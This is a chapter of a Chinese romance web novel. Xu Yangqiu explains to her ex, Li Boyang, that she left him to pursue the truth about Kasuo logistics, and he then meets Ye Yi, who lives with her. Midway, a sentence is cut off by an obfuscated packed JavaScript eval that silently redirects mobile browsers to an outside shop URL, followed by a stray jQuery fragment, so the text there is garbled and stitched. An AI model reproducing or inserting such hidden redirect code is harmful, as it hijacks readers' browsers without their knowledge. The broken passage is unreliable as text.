许阳秋语气温和:“你爸他知道我是许魄的女儿,但从没用这个威胁我。哪怕是今天他不让你继续帮我调查卡索物流造假的真相,也依然没有对任何人泄露我的身份。当然不是因为他这个人慈悲为怀,只是他犯不上跟一个蝼蚁计较。卡索和0号算法对我来说比身家性命还重要,但对你爸来说,什么都不是。”
“所以你跟我分开,纯粹是因为我们地位悬殊?你不是这样的人。”李铂杨目光热切,里面只装着她的倒影。
“对,我不是。”许阳秋正色道,“我一直想好好跟你谈谈,谁知道我提了分手之后就被你拉黑,一连三年都没从黑名单里放出来。后来这三年,虽说联系频繁起来,但你又是这副嘴里没一句正经话的样子,我也不好硬触你霉头。”
“你好狠的心啊。”李铂杨仿佛为了印证她的话,又不正经起来,坐得离她近了些,却半点没碰到她,“怎么全怪到我头上?我能不能把你埋怨我解读成你还爱我?毕竟你跟我分手的时候,我心里也有好多埋怨,对你。”
“这六年来你到底谈了多少任?你这张嘴都快修炼成精了,再谈几个恐怕能成仙。”许阳秋这么说着,但也没躲,任由他占据这个近一点过于冒犯,远一点不够暧昧的距离,侧头看着他,“你爸来找我的时候,没逼我跟你分手,他就只问了我那一个问题。”
“以后怎么打算的......这个问题?”李铂杨脸上的笑容瞬间消失,他声音很低,“所以......你就是因为这个跟我分手。”
“你爸只问了我一句话,就打中我的七寸。”许阳秋轻轻拍拍他的膝盖,“我跟你在一起的时候,绝大部分的时间都很忙碌,你还抱怨过很多次。我没空陪你冬天滑雪、夏天高尔夫,甚至几乎没有连续二十四小时都陪在你身边的时候。不是因为我对你不认真,李铂杨,是因为我有更重要的事情要做。”
“我不打算陪在你身边安安稳稳地与你结婚生子,更不打算在你接手盛岸资本之后做你的贤内助,我甚至没计划过有你的未来。”许阳秋清楚地看到李铂杨眼圈隐约透出有些可疑的红,于是又顺了顺他的背,“在李总和你看来,拿回卡索是特别小、特别简单的一件事,但这件事我全身心投入地干了十年,依然没能成功。”
李铂杨那双桃花眼红得似有若无,仿佛是精心研练过的,那张总是游刃有余的脸上露出一丝茫然,但这茫然转瞬即逝,他一挑眉,扯出个坏笑,脸凑近她耳朵:“胡说,我们许总无所不能。”
“谢谢你啊。”许阳秋无奈地笑,“百忙之中还抽空拍我马屁。”
“我们许总竟然真的是不愿意耽于情爱,怕我的男色动摇你的意志。”李铂杨有些做作地叹了口气,“三年前我厚着脸皮回来找你的时候,发现你身边一个人都没有,那会儿我就猜到了这个可能。卡索被收购的时候,我是真的以为你会放弃,我原本还想着在你放弃之后跟你表白呢。”
“胡扯吧你。”许阳秋拍他一下,没用什么力,“好好当你的花花公子。你爸确实不喜欢你四处留情,但更加不会欣赏你的深情人设。”
李铂杨撒娇似的戳戳她的胳膊:“阳秋,别再查下去了。我帮你拿回卡索,就当作你的聘礼,好不好?”
“远端有自己的物流子公司,之前与卡索接口纯粹是为了覆盖一小部分偏远地区。远端既没有收购卡索的动机,也没有收购卡索的实力。至于盛岸,你先斗赢了你哥再说。”许阳秋一根手指狠狠地戳回去,“最重要的是,我要是寄希望于聘礼,一开始就不会跟你分手。”
话说到这个份上,两个人风平浪静表面下的那点龃龉算是全都掰扯清楚了。
李铂杨站起身朝门口走去,走了一半忽然回头看她:“你知道我最喜欢你那一点吗?”
“别怪我刻板印象哈,毕竟我见过你的几任女友......我猜你喜欢我的脸。”许阳秋半开玩笑道,“你前天发在ins上的那小姑娘是真美,不输现在的娱乐圈小花了。”
李铂杨抬手就要敲她的脸,许阳秋赶紧讨饶:“别别,我开玩笑的,所以是什么?”
“清醒,你那该死的清醒。”他这话说得缱绻温柔,像是爱人的低语,听不出多少“该死”的意味。
许阳秋好脾气地笑笑,一路把他送到楼下,两人站在大堂聊了几句,她说着说着,余光瞥到一个人影,那人在她身边站定,却一言不发。
李铂杨先开口问她:“这位是?”
“叶一。”许阳秋这会儿才看了眼叶一,他拎着个黑色塑料袋,他大概是下班后直接去菜市场买完菜才回来。
李铂杨不着痕迹地扫一眼叶一手里的袋子,接着视线又落回她脸上,玩味地看着她:“许总,刚深聊过,就要这么伤我的心啊?”
言外之意,你不是专心事业,不谈恋爱吗?
许阳秋在这事上确实理亏,但却并不是对李铂杨这个人理亏。他们分手六年,她家里就算住了八十个男大也跟他没关系。
因此她没回答,挑眉对他笑笑。
她以为李铂杨会见好就收,谁知他还继续追问:“出息了啊,我们阳秋,还在家里藏了个小情人啊?”
“大情人也不关你事。”许阳秋抬手拍一下他的胳膊,把他挺括的西装袖子拍出一点褶皱,“走了,送你出去。”
叶一没说话,沉默地跟在她身后。
李铂杨被她送到大堂门口,司机已经在门口等着了。
这位向来很有分寸感的花花公子今天不知道发什么疯,忽然暧昧地冲她笑笑,反手碰了碰她的脸。
这玩笑就开大了,许阳秋皱眉,身子微微向后一躲。
她躲开的下一秒,叶一出现在了她和李铂杨中间,眼睛死死地盯着李铂杨伸出来的那只手,把许阳秋护在身后。
李铂杨很突然地轻轻笑了两声:“还真是小情人啊。”
许阳秋的手在叶一的腰上搭了一下,那是个安抚的手势,他紧绷的身体松下来一些,回头看她。幽黑的瞳孔在光下像一对名贵的琉璃,坚硬又脆弱。
叶一到现在一言不发,没替她回答李铂杨的问题,也没做什么出格的举动,甚至是在许阳秋躲开之后,才选择挡在她面前。
如果她不躲,那他又会怎么做呢?难道默默地站在原地看着吗?
他明明知道李铂杨跟她的关系,他明明比李铂杨更有资格质问她,但他就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703732|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是认命般地沉默。
许阳秋打心眼里觉得自己干了件错事,她此刻就像个给不了'小情人'名分的渣女。她暗暗感叹,叶一这人啊,年纪轻轻怎么就到达'不忍欺'的境界了?
“李铂杨,不送了。”许阳秋没计较他出格的举动,跟他一摆手,接着拉着叶一的胳膊转身就走,头也不回,“饿了,回家吃饭。”
李铂杨站在原地,等着跟那位'小情人'对视,幼稚地想通过视线交锋多给他添个堵。谁知那人跟许阳秋一样,头也不回地往前走。
他以为那人是胜券在握,没把他放在眼里。事实上,那人只是觉得自己没有回头的立场罢了。
李铂杨只好目送两人的背影消失在转角的回廊,嘴角扯出一个苦涩的笑意。他没耽搁多久便走出大堂,等在一旁的司机帮他拉开车门,他长腿一迈坐进车里。
“李总,去机场吗?”
“去巨鹿路,我想喝一杯。”李铂杨撸下无名指上的钉子戒指,又从口袋里拿出一个蓝丝绒的小方盒子一并递给司机,“送完我你就可以下班了,明早巨鹿路隔壁威诗酊接我,这两个拿去。”
司机刚点头哈腰地接过两样东西,李铂杨却又伸手把钉子形状的戒指从他手上拿回来,捏在指间犹豫再三还是没有戴上,而是揣进了口袋里。
司机透过后视镜窥见李总难得的无法决断,大气不敢出一口,也没敢打开那个蓝丝绒盒子,而是毕恭毕敬地放到一边,安分守己地启动车子,驶离这片住宅区。
“要我叫保洁吗?”
“不用。”
叶一问完这个问题就没再说话,仿佛没将刚刚的插曲放在心上,他站在厨房里把东西一样样拿出来,摆在灶台上。黑色的塑料袋里装着一条杀好的鱼,叶一把被开膛破肚但仍在抽抽的鱼丢进水槽里用盐水泡着,接着在另一个水槽里洗菜。
“我不爱吃鱼。”许阳秋坐在中岛上,撑着下巴看着他。
“你不爱挑刺。”他没回头,声音卷在哗啦啦的流水声里,听起来跟水一样凉凉的,“石斑鱼没几根刺,我帮你挑好。”
确实,她上次当着叶一的面吃掉半盘鳕鱼柳。
说完他想起了什么似的把手洗干净,从口袋里掏出一根燕麦棒,撕开递给她:“八点吃饭,晚了半小时,你当心胃痛,先垫垫。”
许阳秋没伸手,头凑过去一口咬住。
于是她演练好的那一套话就被这跟燕麦棒堵住了,她慢吞吞地咀嚼咽下,余光瞄到桌边的一盒桃子:“怎么买了桃子?”
“你不是喜欢吃桃子吗?”叶一拿着燕麦棒空包装的手在原地顿了顿,然后他才转过身丢掉。
“不想吃。”许阳秋把盒子推向一边,“你自己吃。”
说话间叶一已经洗完了菜,把珐琅锅加满水,架到燃气灶上烧着。闻言他拿起那盒桃子:“那我送上去给阿姨,很快下来。”
走了一半又回头叮嘱她:“这会儿水应该不会开,但你还是盯着点。”
叶一上楼之后,许阳秋仿佛被人摁住了脊椎,她的头软绵绵地垂下来,趴在中岛上,发出了轻不可闻的一声感叹。
“啊,舍不得啊。”